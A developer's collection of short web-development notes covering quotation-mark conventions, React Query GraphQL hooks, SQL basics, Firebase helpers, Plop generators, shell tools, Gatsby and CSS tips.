Belorussian: «…» „…“
Bulgarian: „…“ ‚…‘
Hungarian: „…”
Greek: «…» ‹…›
Danish: »…« ›…‹
Hebrew: «…» / '…' '…' / <<…>>
Irish: “…” ‘…’
Icelandic: „…“ ‚…‘
Spanish: «…» “…”
Italian: «…»
Chinese: “…” ‘…’
Latvian: „…“ „…“
Lithuanian: „…“ ‚…‘
Dutch: „…” ‚…’
German: „…“ ‚…‘
Norwegian: «…»
Polish: „…” «…»
Portuguese: “…” ‘…’
Romanian: „…” «…»
Russian: «…» „…“
Serbian: „…“ ‚…‘
Slovak: „…“ ‚…‘
Slovenian: „…“ ‚…‘
Turkish: “…” ‘…’
Ukrainian: «…» „…“
Finnish: ”…” ’…’
French: « … » ‹ … ›
Croatian: »…« ›…‹
Czech: „…“ ‚…‘
Swedish: ”…” ’…’
Estonian: „…” „…”
Japanese: 「…」 『…』

Different kinds

“ ”: English double
‘ ’: English Single
« »: French «Christmas trees»
„ “: German „paws“
„ ”: Polish
» «: Swedish reverse
" ": Double universal

Example CSS

blockquote {
  background: #f9f9f9;
  border-left: 10px solid #ccc;
  margin: 1.5em 10px;
  padding: 0.5em 10px;
  quotes: '“' '”' '‘' '’';
}
blockquote::before {
  color: #ccc;
  content: open-quote;
  font-size: 4em;
  line-height: 0.1em;
  margin-right: 0.25em;
  vertical-align: -0.4em;
}
blockquote p {
  display: inline;
}

React Query with GraphQL

Zander Martineau — Thu, 11 Nov 2021 00:00:00 GMT

Two hooks are provided to make it easier to work with GraphQL and React Query. They use graphql-request to make the requests to the GraphQL server.

GraphQL client used in the following examples

import { GraphQLClient } from 'graphql-request'

const endpoint = `${import.meta.env.VITE_HASURA_ENDPOINT}`
export const graphQlClient = new GraphQLClient(endpoint)

`useGqlQuery`

A wrapper around "useQuery"

Source

import {
  QueryKey,
  useQuery,
  UseQueryOptions,
  UseQueryResult,
} from 'react-query'
import { auth } from '../../config'
import { graphQlClient } from '../../graphql/client'

/**
 * @name useGqlQuery
 * @description a helper hook that should be used when calling the GraphQL API
 */

export const useGqlQuery = <ResponseData = unknown, Variables = unknown>(
  queryKey: QueryKey,
  query: string,
  variables?: Variables,
  options?: UseQueryOptions<ResponseData, Error, ResponseData, QueryKey>
): UseQueryResult<ResponseData, Error> => {
  return useQuery(
    queryKey,
    async () => {
      try {
        // always get the latest token
        // this uses Firebase Authentication to get a token
        const token = await auth?.currentUser?.getIdToken()

        // if the token is `undefined`, no auth headers will be set
        // this allows us to use the GraphQL API for public queries
        const authorisationHeaders = token
          ? {
              Authorization: `Bearer ${token}`,
            }
          : undefined

        const response = await graphQlClient.request(
          query,
          variables,
          authorisationHeaders
        )
        return response
      } catch (error) {
        console.log(`🚀 ~ useGqlQuery ~ error`, error)
      }
    },
    options
  )
}

Usage

export const GET_SHORTLIST = gql`
  query ($from_id: uuid!) {
    contact_connection(
      where: {
        from_id: { _eq: $from_id }
        _and: { row_status: { _eq: "active" } }
      }
    ) {
      to_id
    }
  }
`
interface ShortlistItem {
  to_id: string
}

interface QueryData {
  contact_connection: ShortlistItem[]
}

interface QueryVariables {
  from_id: string
}

const getShortlistQuery = useGqlQuery<QueryData, QueryVariables>(
  'queryKey',
  GET_SHORTLIST,
  {
    from_id: '1234557565675',
  }
)
const shortlist = useMemo(() => getShortlistQuery?.data[getShortlistQuery])

`useGqlMutation`

A wrapper around useMutation

Source

import { useMutation, UseMutationResult, UseMutationOptions } from 'react-query'
import { auth } from '../../config'
import { graphQlClient } from '../../graphql/client'

/**
 * @name useGqlMutation
 * @description a helper hook that should be used when mutating data with the GraphQL API
 */

export const useGqlMutation = <Response = unknown, Variables = unknown>(
  query: string,
  sideEffects?: UseMutationOptions<Response, Error, Variables, unknown>
): UseMutationResult<Response, Error, Variables, unknown> => {
  return useMutation(async (variables) => {
    // always get the latest token
    // this uses Firebase Authentication to get a token
    const token = await auth?.currentUser?.getIdToken()
    return graphQlClient.request(query, variables, {
      Authorization: `Bearer ${token}`,
    })
  }, sideEffects)
}

Usage

export const REMOVE_SHORTLIST = gql`
  mutation ($from_id: uuid!, $to_id: uuid!) {
    update_contact_connection(
      where: { from_id: { _eq: $from_id }, to_id: { _eq: $to_id } }
      _set: { row_status: "inactive" }
    ) {
      affected_rows
      returning {
        to_id
      }
    }
  }
`
interface ShortlistItem {
  to_id: string
}

interface MutationResponse {
  update_contact_connection: {
    affected_rows: number
    returning: ShortlistItem[]
  }
}

interface MutationVariables {
  from_id: string
  to_id: string
}

const removeShortlist = useGqlMutation<MutationResponse, MutationVariables>(
  REMOVE_SHORTLIST,
  {
    onSuccess: (data, variables) => {
      queryClient.invalidateQueries('myShortlist')
      console.log(`🚀 ~ mutation variables`, variables)
      console.log(`🚀 ~ mutation data`, data)
    },
  }
)

SQL

Zander Martineau — Thu, 11 Nov 2021 00:00:00 GMT

-- Comments start with two hyphens. End each command with a semicolon.

-- SQL is not case-sensitive about keywords. The sample commands here
-- follow the convention of spelling them in upper-case because it makes
-- it easier to distinguish them from database, table, and column names.

-- Create and delete a database. Database and table names are case-sensitive.
CREATE DATABASE someDatabase;
DROP DATABASE someDatabase;

-- List available databases.
SHOW DATABASES;

-- Use a particular existing database.
USE employees;

-- Select all rows and columns from the current database's departments table.
-- Default activity is for the interpreter to scroll the results on your screen.
SELECT * FROM departments;

-- Retrieve all rows from the departments table,
-- but only the dept_no and dept_name columns.
-- Splitting up commands across lines is OK.
SELECT dept_no,
       dept_name FROM departments;

-- Retrieve all departments columns, but just 5 rows.
SELECT * FROM departments LIMIT 5;

-- Retrieve dept_name column values from the departments
-- table where the dept_name value has the substring 'en'.
SELECT dept_name FROM departments WHERE dept_name LIKE '%en%';

-- Retrieve all columns from the departments table where the dept_name
-- column starts with an 'S' and has exactly 4 characters after it.
SELECT * FROM departments WHERE dept_name LIKE 'S____';

-- Select title values from the titles table but don't show duplicates.
SELECT DISTINCT title FROM titles;

-- Same as above, but sorted (case-sensitive) by the title values.
SELECT DISTINCT title FROM titles ORDER BY title;

-- Show the number of rows in the departments table.
SELECT COUNT(*) FROM departments;

-- Show the number of rows in the departments table that
-- have 'en' as a substring of the dept_name value.
SELECT COUNT(*) FROM departments WHERE dept_name LIKE '%en%';

-- A JOIN of information from multiple tables: the titles table shows
-- who had what job titles, by their employee numbers, from what
-- date to what date. Retrieve this information, but instead of the
-- employee number, use the employee number as a cross-reference to
-- the employees table to get each employee's first and last name
-- instead. (And only get 10 rows.)

SELECT employees.first_name, employees.last_name,
       titles.title, titles.from_date, titles.to_date
FROM titles INNER JOIN employees ON
       employees.emp_no = titles.emp_no LIMIT 10;

-- List all the tables in all the databases. Implementations typically provide
-- their own shortcut command to do this with the database currently in use.
SELECT * FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE='BASE TABLE';

-- Create a table called tablename1, with the two columns shown, for
-- the database currently in use. Lots of other options are available
-- for how you specify the columns, such as their datatypes.
CREATE TABLE tablename1 (fname VARCHAR(20), lname VARCHAR(20));

-- Insert a row of data into the table tablename1. This assumes that the
-- table has been defined to accept these values as appropriate for it.
INSERT INTO tablename1 VALUES('Richard','Mutt');

-- In tablename1, change the fname value to 'John'
-- for all rows that have an lname value of 'Mutt'.
UPDATE tablename1 SET fname='John' WHERE lname='Mutt';

-- Delete rows from the tablename1 table
-- where the lname value begins with 'M'.
DELETE FROM tablename1 WHERE lname like 'M%';

-- Delete all rows from the tablename1 table, leaving the empty table.
DELETE FROM tablename1;

-- Remove the entire tablename1 table.
DROP TABLE tablename1;

Queries

Select all bookmarks with 'public' tag

SELECT *
FROM public.bookmarks
WHERE 'test' = ANY(tags);

Update the bookmarks table and set the public column to true for all items that have the public tag

UPDATE public.bookmarks
SET public = true
WHERE 'public' = ANY(tags);

Select all bookmarks with 'public' tag and remove the public tag from those items

UPDATE public.bookmarks
SET "tags" = array_remove("tags", 'public')
WHERE 'public' = ANY("tags");

Custom inclusive/accessible Theme UI Button

Zander Martineau — Thu, 11 Nov 2021 00:00:00 GMT

This button component extends Theme UI's Button and add some more props/functionality. It takes all standard <button> attributes e.g. disabled, type etc etc AND also Theme UI's props like variant and sx. It is based on the guidelines at https://css-tricks.com/making-disabled-buttons-more-inclusive/

Usage

<Button>Click me</Button>
<Button type="submit">Click me</Button>
<Button disabled>Click me</Button>
<Button onClick={() => console.log('clicked')}>Click me</Button>

With loading state

<Button isLoading={true}>Click me</Button>

Inclusive/accessible disabled state

Using the guidelines from https://css-tricks.com/making-disabled-buttons-more-inclusive/, this button will show a simple tooltip if the form state is not ready. Instead of passing disabled=true to the button, use the isDisabled & disabledText props.

<Button
  isDisabled={true}
  disabledText="You must select a meeting for all trainees"
>
  Request meetings
</Button>

Icon buttons

If you need an icon button, do not use this Button component. Instead, use the IconButton component from theme-ui, like so:

import { IconButton } from 'theme-ui'
import { IconPicker } from '../components'
;<IconButton>
  <IconPicker icon="exclamation" />
</IconButton>

Source code

import React, { forwardRef } from 'react'
import {
  Box,
  Button as ThemeUIButton,
  ButtonProps as ThemeUIButtonProps,
} from 'theme-ui'

export interface ButtonProps extends ThemeUIButtonProps {
  isLoading?: boolean
  isDisabled?: boolean
  disabledText?: string
}

export const Button = forwardRef<HTMLButtonElement, ButtonProps>(
  (
    {
      sx,
      isLoading,
      children,
      onClick,
      isDisabled,
      disabledText,
      disabled,
      ...rest
    },
    ref
  ): JSX.Element => {
    return (
      <ThemeUIButton
        sx={{
          position: 'relative',
          display: 'inline-flex',
          alignItems: 'center',
          ...sx,
          cursor: isLoading ? 'wait' : isDisabled ? 'not-allowed' : 'pointer',
          '&:hover .tooltipBox,&:focus-within .tooltipBox': {
            opacity: 1,
            visibility: 'visible',
            transition: 'opacity 250ms',
          },
          '&:hover .tooltipBox:hover &': {
            transition: 'opacity 250ms 500ms',
          },
        }}
        ref={ref}
        disabled={disabled}
        onClick={(event) => {
          if (isLoading || isDisabled) {
            event.preventDefault()
          } else {
            onClick?.(event)
          }
        }}
        {...rest}
        aria-disabled={isDisabled ? 'true' : 'false'}
        aria-describedby="disabledReason"
      >
        <Box
          as="span"
          sx={{
            visibility: isLoading ? 'hidden' : 'visible',
          }}
        >
          {children}
        </Box>
        {isLoading && (
          <Box
            sx={{
              position: 'absolute',
              top: '50%',
              left: '50%',
              transform: 'translate(-50%, -50%)',
              color: 'currentColor',
              pointerEvents: 'none',
              visibility: isLoading ? 'visible' : 'hidden',
            }}
          >
            🤔
          </Box>
        )}
        {isDisabled && disabledText ? (
          <Box
            role="tooltip"
            className="tooltipBox"
            id="disabledReason"
            sx={{
              position: 'absolute',
              bottom: '100%',
              left: '50%',
              transform: 'translateX(-50%)',
              width: 'max-content',
              pb: 2,
              opacity: 0,
              visibility: 'hidden',
              transition: 'opacity 250ms, visibility 1ms 250ms',
            }}
          >
            <Box
              as="span"
              className="tooltipItself"
              sx={{
                display: 'block',
                bg: '#e2e8f0',
                color: '#64748b',
                px: 2,
                py: 1,
                fontSize: 1,
                borderRadius: 'default',
                textAlign: 'center',
                WebkitFontSmoothing: 'initial',
                MozOsxFontSmoothing: 'initial',
              }}
            >
              {disabledText}
            </Box>
          </Box>
        ) : null}
      </ThemeUIButton>
    )
  }
)

Firebase

Zander Martineau — Mon, 12 Jul 2021 00:00:00 GMT

Client side

Initialise the app like so:

https://firebase.google.com/docs/web/setup#default-hosting-site

// firebase.ts
import firebase from 'firebase/app'
import 'firebase/auth'
import 'firebase/firestore'
import 'firebase/functions'

const FIREBASE_CONFIG = {
  apiKey: '{api key}',
  authDomain: '{authDomain}',
  databaseURL: '{databaseURL}',
  projectId: '{app name}',
  storageBucket: '{storageBucket}',
  messagingSenderId: '{messagingSenderId}',
  appId: '{appId}',
  measurementId: '{measurementId}',
}

firebase.initializeApp(FIREBASE_CONFIG)

export const auth = firebase.auth()
export const firestore = firebase.firestore()
export const functions = firebase.app().functions('europe-west2') // set the region globally

export { firebase }

Hosting

https://firebase.google.com/docs/hosting/full-config

Functions

https://firebase.google.com/docs/hosting/functions#direct_hosting_requests_to_your_function https://github.com/firebase/functions-samples/issues/395#issuecomment-635445763 https://firebase.google.com/docs/functions/callable Testing functions: https://firebase.google.com/docs/functions/local-shell#invoke_https_callable_functions

Firestore

Various Firestore helpers and utils to make our lives easier

Firestore helpers

`firestoreDataPoint`

This helper function exposes a 'typed' version of firestore().collection(collectionPath). Pass it a collectionPath string as the path to the collection in firestore. Pass it a type argument representing the 'type' (schema) of the docs in the collection

import { firestoreDataPoint } from './utils'

firestoreDataPoint<FirestoreUser>('users')

Document helpers

`firestoreUser`

Returns reference to that user's Firestore document. Can then be used to .get() or .set() data for that document.

This uses firestoreDataPoint internally

import { firestoreUser } from './utils'

firestoreUser('xyz123').get()

import { firebase, firestore } from '../../config'
import { FirestoreUser } from '../../types/firestore.models'

/**
 * @name firestoreConverter
 * @description This helper function pipes your types through a firestore converter
 */
export const firestoreConverter = <
  T
>(): firebase.firestore.FirestoreDataConverter<T> => ({
  toFirestore: (data: Partial<T>) => data,
  fromFirestore: (snap: firebase.firestore.QueryDocumentSnapshot) =>
    snap.data() as T,
})

/**
 * @name firestoreDataPoint
 * @param collectionPath e.g. 'users'
 * @description This helper function exposes a 'typed' version of firestore().collection(collectionPath)
 * Pass it a collectionPath string as the path to the collection in firestore
 * Pass it a type argument representing the 'type' (schema) of the docs in the collection
 */
export const firestoreDataPoint = <T>(
  collectionPath: string
): firebase.firestore.CollectionReference => {
  return firestore
    .collection(collectionPath)
    .withConverter(firestoreConverter<T>())
}

/**
 * @name firestoreUser
 * @param uid {string} e.g. a user's UID
 * @returns reference to that user's Firestore document
 */
export const firestoreUser = (uid: string) =>
  firestoreDataPoint<FirestoreUser>('users').doc(uid)

import { useEffect, useState } from 'react'
import { useUserContext } from '../providers'
import { FirestoreUser } from '../types/firestore.models'
import { firestoreUser } from '../utils'

/**
 * @name useFirestoreUserData
 * @description Returns all user data from Firestore
 */
export const useFirestoreUserData = (): FirestoreUser | undefined => {
  const { uid } = useUserContext()
  const [userInfo, setUserInfo] = useState<FirestoreUser | undefined>()

  useEffect(() => {
    if (uid) {
      firestoreUser(uid)
        .get()
        .then((doc) => {
          if (doc.exists) {
            console.log('User Document data:', doc.data())
            setUserInfo(doc.data() as FirestoreUser)
          } else {
            // doc.data() will be undefined in this case
            console.log('No such document!')
          }
        })
        .catch((error) => {
          console.log('Error getting document:', error)
        })
    }
  }, [uid])

  return userInfo
}

Plop

Zander Martineau — Mon, 12 Jul 2021 00:00:00 GMT

`plopfile.js`

const generateComponent = require('./generate/component')
const generatePage = require('./generate/page')
const generateIcon = require('./generate/icon')
const generateUtil = require('./generate/util')
const generateHook = require('./generate/hook')

module.exports = function (plop) {
  plop.setHelper('obj', (text) => `{{ ${text} }}`)
  plop.setHelper('propsHelper', (text) => `{${text}}`)

  plop.setGenerator('component', generateComponent)
  plop.setGenerator('page', generatePage)
  plop.setGenerator('icon', generateIcon)
  plop.setGenerator('util', generateUtil)
  plop.setGenerator('hook', generateHook)
}

Component generator

`./generate/component/index.js`

module.exports = {
  description: 'Generates new React component',
  prompts: [
    {
      type: 'input',
      name: 'name',
      message: "What's the name of the Component?",
      validate: function (value) {
        let message = true
        if (!/.+/.test(value)) {
          message = console.error('Missing', 'you must define a component name')
        } else if (value.length < 3) {
          message = console.error(
            'Too Short',
            `"${value}" is not descriptive enough`
          )
        }
        return message
      },
    },
  ],
  actions: function () {
    return [
      {
        type: 'add',
        path: 'src/components/{{pascalCase name}}/index.ts',
        templateFile: './generate/component/templates/index.hbs',
      },
      {
        type: 'add',
        path: 'src/components/{{pascalCase name}}/{{pascalCase name}}.tsx',
        templateFile: './generate/component/templates/component.hbs',
      },
      {
        type: 'add',
        path: 'src/components/{{pascalCase name}}/{{pascalCase name}}.stories.tsx',
        templateFile: './generate/component/templates/story.hbs',
      },
      {
        type: 'add',
        path: 'src/components/{{pascalCase name}}/{{pascalCase name}}.test.tsx',
        templateFile: './generate/component/templates/test.hbs',
      },
      {
        type: 'add',
        path: 'src/components/{{pascalCase name}}/{{pascalCase name}}.docs.mdx',
        templateFile: './generate/component/templates/docs.hbs',
      },
      {
        type: 'modify',
        path: 'src/components/index.ts',
        pattern: /(\/\* -- component: insert above here -- \*\/)/gi,
        template: `export { {{pascalCase name}} } from './{{pascalCase name}}'\n$1`,
      },
    ]
  },
}

`./generate/component/templates/index.hbs`

export { {{pascalCase name}} } from './{{pascalCase name}}'

`./generate/component/templates/component.hbs`

import React from 'react' import { ThemeUIStyleObject, Box } from 'theme-ui'
export interface
{{pascalCase name}}Props { sx?: ThemeUIStyleObject // children: ReactNode }
export const
{{pascalCase name}}
= ({ sx }:
{{pascalCase name}}Props): JSX.Element => { return (
<Box sx={{obj '...sx'}}>
  <Box>{{name}}</Box>
</Box>
) }

`./generate/component/templates/docs.hbs`

# {{pascalCase name}}

```js
import { {{pascalCase name}} } from './components'
```

```tsx
<{{pascalCase name}}>Some content</{{pascalCase name}}>
```

`./generate/component/templates/story.hbs`

import React from 'react'
import { Story, Meta } from '@storybook/react/types-6-0'
import { {{pascalCase name}}, {{pascalCase name}}Props } from './{{pascalCase name}}'
import docs from './{{pascalCase name}}.docs.mdx'

export default {
  title: 'Components/{{pascalCase name}}',
  component: {{pascalCase name}},
  parameters: {
    docs: { page: docs },
    // paddings: [],
    /* backgrounds: {
      default: 'white',
    },*/
  },
} as Meta

const Template: Story<{{pascalCase name}}Props> = (args) => <{{pascalCase name}} {...args} />

export const Standard = Template.bind({})
Standard.args = {

}

/* Standard.decorators = [
  (Story) => (
    <Box sx={{{ obj "color: 'bright'" }}}>
      <Story />
    </Box>
  ),
]*/
/* Standard.parameters = {
  backgrounds: {
    default: 'blue',
  },
}*/

`./generate/component/templates/test.hbs`

import React from 'react'
import { render } from '@testing-library/react'
import { {{pascalCase name}} } from './{{pascalCase name}}'

describe('Given a {{pascalCase name}} component', () => {
  describe('when it is rendered', () => {
    it('should match the snapshot', () => {
      const { container } = render(<{{pascalCase name}} />)
      expect(container.firstChild).toMatchSnapshot()
    })
  })
})

Other resources

https://github.com/react-boilerplate/react-boilerplate/tree/master/internals/generators
https://github.com/fabien0102/gatsby-starter/tree/master/generators

Alternatives to Plop

https://github.com/busterc/microgen

Command line tools

Zander Martineau — Mon, 15 Feb 2021 00:00:00 GMT

Keyboard shortcuts

ctrl-r - Search previously used commands
ctrl-t - Invoke FZF fuzzy file finder (see below)
ctrl-l - Clear the terminal screen
ctrl-k - Clears the terminal screen but no-scroll back. Basically wipes the
ctrl-w - Cut one word backwards using white space as delimiter
esc-t - Swap the last two words before the cursor

Commands

cal

Show a calendar

❯ cal
   February 2020
Su Mo Tu We Th Fr Sa
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29

date

Show the date

❯ date
Sat  7 Sep 2019 09:22:28 BST

tree

Show directory contents as a tree

❯ tree -L 1
.
├── README.md
├── example
├── gatsby-theme-code-notes
├── node_modules
├── package.json
└── yarn.lock

List global packages

# with yarn
❯ yarn global list

# with npm
❯ npm -g ls --depth=0

Flush DNS cache

1. Clear OS-level DNS cache

On Mac OS, run this in the terminal:

sudo dscacheutil -flushcache;sudo killall -HUP mDNSResponder

On Windows:

ipconfig /flushdns

2. Clear DNS cache via Chrome

Go to chrome://net-internals/#dns and click Clear host cache.

This button sounds like it should clear the OS-level cache, but my experience just doing this isn't enough by itself.

3. Close existing server connections

Go to chrome://net-internals/#sockets and click Flush socket pools.

Then reload the page you're testing and you should see the DNS lookup again, as well as the time spent on establishing the TCP connection.

Custom packages

Autojump

https://github.com/wting/autojump

autojump is a faster way to navigate your filesystem. It works by maintaining a database of the directories you use the most from the command line.

❯ j code

exa

https://github.com/ogham/exa

A modern version of ls

❯ exa -l
❯ exa -T -L 2 # like tree

FZF

https://github.com/junegunn/fzf

Fuzzy find files. Use ctrl+t to access it

serve

https://github.com/zeit/serve

Static file serving and directory listing

emma

https://github.com/maticzav/emma-cli

Search for npm packages. Run emma to initialise the search, then enter your search criteria

ibrew

https://github.com/mischah/ibrew

Interactive search CLI for Homebrew

Run ibrew to initialise the search, then enter your search criteria

yalc

https://github.com/whitecolor/yalc

Work with yarn/npm packages locally like a boss.

hub

https://hub.github.com/

# clone one of your GitHub repos
❯ hub clone dotfiles
# Same as → git clone git://github.com/YOUR_USER/dotfiles.git

# clone another project's repo
❯ hub clone github/hub
# → git clone git://github.com/github/hub.git

# open the current project's issues page
❯ hub browse -- issues
# → open https://github.com/github/hub/issues

# open another project's wiki
❯ hub browse mojombo/jekyll wiki

List the current repo's PRs

# this is an alias
alias prs 'hub pr list -L 20 -b develop --format="%t%n - Branch: [%H]%n - %U%n - %l%n%n"'
# e.g. ❯ prs

Create a branch and switch to it

# FYI This is a fish shell function
function branch
  git branch {$argv} && git checkout {$argv}
end
# e.g. ❯ branch feature/WL-88-hello

standup

https://github.com/kamranahmedse/git-standup

Shows a list of commits for the past 24 hours

❯ standup
/Users/zander/code/fairfx/fx-holiday-money-app
5315f033 - build(multi): HM-925 Improve perf for a couple of pages (16 hours ago) <Zander Martineau>
4b41c048 - index on feature/HM-925-improve-performance:
1b854d84 fix(ci): AWS-99 Remove builds/deployments associated (#845) (17 hours ago) <Zander Martineau>

cross-port-killer

https://github.com/milewski/cross-port-killer

Kill a process running on a particular port

❯ kill-port 9001

doctoc

https://github.com/thlorenz/doctoc

Generated markdown table of contents

❯ doctoc README.md --github

fx

https://github.com/antonmedv/fx

Command-line JSON processing tool

❯ fx package.json

jq

https://stedolan.github.io/jq/

jq is like sed for JSON data - you can use it to slice and filter and map and transform structured data with the same ease that sed, awk, grep and friends let you play with text.

# use jq to extract just the first commit from a repos list
❯ curl 'https://api.github.com/repos/stedolan/jq/commits?per_page=5' | jq '.[0]'

npq

https://github.com/lirantal/npq

Safely* install packages with npm or yarn by auditing them as part of your install process

# with npm ❯ npq install express # with yarn, set an alias like so:alias npq="NPQ_PKG_MGR=yarn npq-hero"
❯ npq add express

youtube-dl

https://youtube-dl.org

# install
❯ brew install youtube-dl
# use
❯ youtube-dl d2qfa3tlgH8

https://blog.balthazar-rouberol.com/text-processing-in-the-shell

Gatsby

Zander Martineau — Tue, 19 Jan 2021 00:00:00 GMT

`gatsby-ssr.js`

The APIs wrapPageElement and wrapRootElement exist in both the SSR and browser APIs. If you use one of them, consider if you should implement it in both gatsby-ssr.js and gatsby-browser.js so that pages generated through SSR with Node.js are the same after being hydrated with browser JavaScript.

`wrapRootElement`

This is where Providers would be setup, think Redux etc

// gatsby-browser.js
const React = require('react')
const { Provider } = require('react-redux')

const createStore = require('./src/state/createStore')
const store = createStore()

exports.wrapRootElement = ({ element }) => {
  return <Provider store={store}>{element}</Provider>
}

More info here

https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr

`onRenderBody`

export const onRenderBody = ({ setHeadComponents }) => {
  setHeadComponents([
    /**
     * Preload font assets and via SSR to prevent FLOUT (Flash of Unstyled Text)
     */
    <link
      key="Font-Preload--Venti-Bold"
      rel="preload"
      href="/fonts/stage-1/VentiCF-Bold--stage1.woff2"
      as="font"
      type="font/woff2"
      crossOrigin="anonymous"
    />,
  ])
}

GraphQL

Gatsby GraphQL reference

Group deeply nested fields together

import { graphql, useStaticQuery } from 'gatsby'

export const useAllTags = () => {
  const data = useStaticQuery(graphql`
    {
      allMdx {
        tags: group(field: frontmatter___tags) {
          tag: fieldValue
          totalCount
        }
      }
    }
  `)

  return data
}

Output

{
  "data": {
    "allMdx": {
      "tags": [
        {
          "tag": "css",
          "totalCount": 4
        },
        {
          "tag": "devops",
          "totalCount": 1
        },
        {
          "tag": "git",
          "totalCount": 1
        },
        {
          "tag": "graphql",
          "totalCount": 1
        }
      ]
    }
  }
}

Graphql untagged

Given frontmatter like this:

---
title: Gatsby
tags:
  - react
  - graphql
---

or this

---
title: Gatsby
---

Then query for items that don't have tags set

query MyQuery {
  allMdx(filter: { frontmatter: { tags: { eq: null } } }) {
    edges {
      node {
        id
        frontmatter {
          title
          tags
        }
      }
    }
  }
}

Misc

SEO component

Schema.org component

CSS scroll-behavior

Zander Martineau — Sat, 16 Jan 2021 00:00:00 GMT

The scroll-behavior property

The scroll-behavior property tells the browser how to handle scrolling to anchor links within an element.

The default value, auto, does a hard jump like you’re used to. A value of scroll tells the browser to animate scrolling. There’s no way to specify easing, but it ties into the browser’s refresh rate to give you silky smooth animations.

/**
 * Enable smooth scrolling on the whole document
 */
html {
  scroll-behavior: smooth;
}

Here’s a demo

You can restrict it to specific elements if you want.

/**
 * Enable smooth scrolling on the #be-cool element
 */
#be-cool {
  scroll-behavior: smooth;
}

And if you want to disable it when someone uses their browser's "Find in page" function:

html:focus-within {
  scroll-behavior: smooth;
}

Accessibility concerns

Animations can cause issues for users who suffer from motion sickness and other conditions.

Fortunately, Windows, macOs, iOS, and Android all provide a way for users to specify that they prefer reduced motion. And all modern browsers (but not IE) provide a way to check for that setting in both CSS and JavaScript.

When using scroll-behavior, you should add a @media check for prefers-reduced-motion: reduce, and revert to the default auto.

/**
 * Disable smooth scrolling when users have prefers-reduced-motion enabled
 */
@media screen and (prefers-reduced-motion: reduce) {
  html {
    scroll-behavior: auto;
  }
}

This prevents animated scrolling when users have specified that they’d prefer reduced motion.

Usage with JavaScript

// Scroll to specific values
// scrollTo is the same
window.scroll({
  top: 2500,
  left: 0,
  behavior: 'smooth',
})

// Scroll certain amounts from current position
window.scrollBy({
  top: 100, // could be negative value
  left: 0,
  behavior: 'smooth',
})

// Scroll to a certain element
document.querySelector('.hello').scrollIntoView({
  behavior: 'smooth',
})

Reference

Check if JavaScript array is empty

Zander Martineau — Wed, 06 Jan 2021 00:00:00 GMT

You want to do the check for undefined first. If you do it the other way round, it will generate an error if the array is undefined.

if (array === undefined || array.length == 0) {
  // array empty or does not exist
}

The foolproof approach

This takes into account that the variable might not refer to an array, but to some other type of object with a length property.

if (!Array.isArray(array) || !array.length) {
  // array does not exist, is not an array, or is empty
  // ⇒ do not attempt to process array
}

The pragmatic approach

In a lot of cases, the above might seem like overkill. Maybe you're using a higher order language like TypeScript that does most of the type-checking for you at compile-time, or you really don't care whether the object is actually an array, or just array-like.

In those cases, I tend to go for the following, more idiomatic JavaScript:

if (!array || !array.length) {
  // array or array.length are falsy
  // ⇒ do not attempt to process array
}

Or, more frequently, its inverse:

if (array && array.length) {
  // array and array.length are truthy
  // ⇒ probably OK to process array
}

With the introduction of the optional chaining operator (Elvis operator) in ECMAScript 2020, this can be shortened even further:

if (!array?.length) {
  // array or array.length are falsy
  // ⇒ do not attempt to process array
}

Or the opposite:

if (array?.length) {
  // array and array.length are truthy
  // ⇒ probably OK to process array
}

From this brilliant Stack Overflow answer.

Make a button element look like a link

Zander Martineau — Mon, 04 Jan 2021 00:00:00 GMT

.link-button {
  display: inline;
  padding: 0;
  border: 0;
  font: inherit;
  cursor: pointer;
  background: transparent;
  color: currentColor;
  -webkit-appearance: none;
  text-decoration: underline;
}

See the Pen{' '} <a href="https://codepen.io/andybelldesign/pen/xxZzEgy"> Quick Tip: Link Button </a>{' '} by Andy Bell (<a href="https://codepen.io/andybelldesign">@andybelldesign</a>) on <a href="https://codepen.io">CodePen</a>. </iframe>

ℹ️ It is worth noting that buttons cannot look exactly like an a element because browsers override the display property and force it to act like display: inline-block despite what you define. The one exception is display: contents but there are quite a few catches with that property; more alarmingly, that the element semantics are completely removed which is a nightmare for accessibility. Read more about it here: https://www.scottohara.me/blog/2018/10/03/unbutton-buttons.html

Aspect ratio

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

/* Old, hacky way */
.parent {
  padding-top: 56.25%;
}

/* New, cool way */
.parent {
  aspect-ratio: 16 / 9;

  /* or for square things */
  aspect-ratio: 1 / 1;
}

Scroll-margin-top

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

You know that annoying thing where you jump to an anchor and the site's sticky header covers it up?

.heading {
  scroll-margin-top: 72px;
}

In Tailwind, use a scroll-mt-* utility:

<h2 id="section" class="scroll-mt-16">Section heading</h2>

Or use an arbitrary value to match your header height exactly:

<h2 id="section" class="scroll-mt-[72px]">Section heading</h2>

Browser support: Works natively in Chrome, FF, Edge, Opera. Supported in Safari, but with a non-standard property, scroll-snap-margin-top.

Cypress

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

CI

https://docs.cypress.io/guides/guides/continuous-integration.html#Setting-up-CI

Resources

https://dev.to/bahmutov/12-recipes-for-testing-react-applications-using-cypress-react-unit-test-46g6

Git branching strategies

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

Different branching strategies

GitHub flow

Anything in the "main" branch is deployable
To work on something new, create a descriptively named branch off of master/main (ie: new-oauth2-scopes)
Commit to that branch locally and regularly push your work to the same named branch on the server
When you need feedback or help, or you think the branch is ready for merging, open a pull request
After someone else has reviewed and signed off on the feature, you can merge it into master
Once it is merged and pushed to ‘master’, you can and should deploy immediately

The “Lobotomised Owl” Selector

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

It may have a strange name but using the universal selector (*) with the adjacent sibling selector (+) can provide a powerful CSS capability:

* + * {
  margin-top: 1.5em;
}

In this example, all elements in the flow of the document that follow other elements will receive margin-top: 1.5em.

For more on the "lobotomised owl" selector, read Heydon Pickering's post on A List Apart.

Demo

Flow space utility

The flow utility provides flow and rhythm between direct sibling elements. Where --flow-space is not defined: the default value is 1em, which equals the font size of the affected element.

.flow > * + * {
  margin-top: var(--flow-space, 1em);
}

By defining --flow-space in the CSS of either a child element of .flow, or on .flow itself: that value will be honoured in line with the cascade and specificity.

For example: if you set --flow-space: 3rem on the third element inside of a .flow container: only that element will have a 3rem top margin.

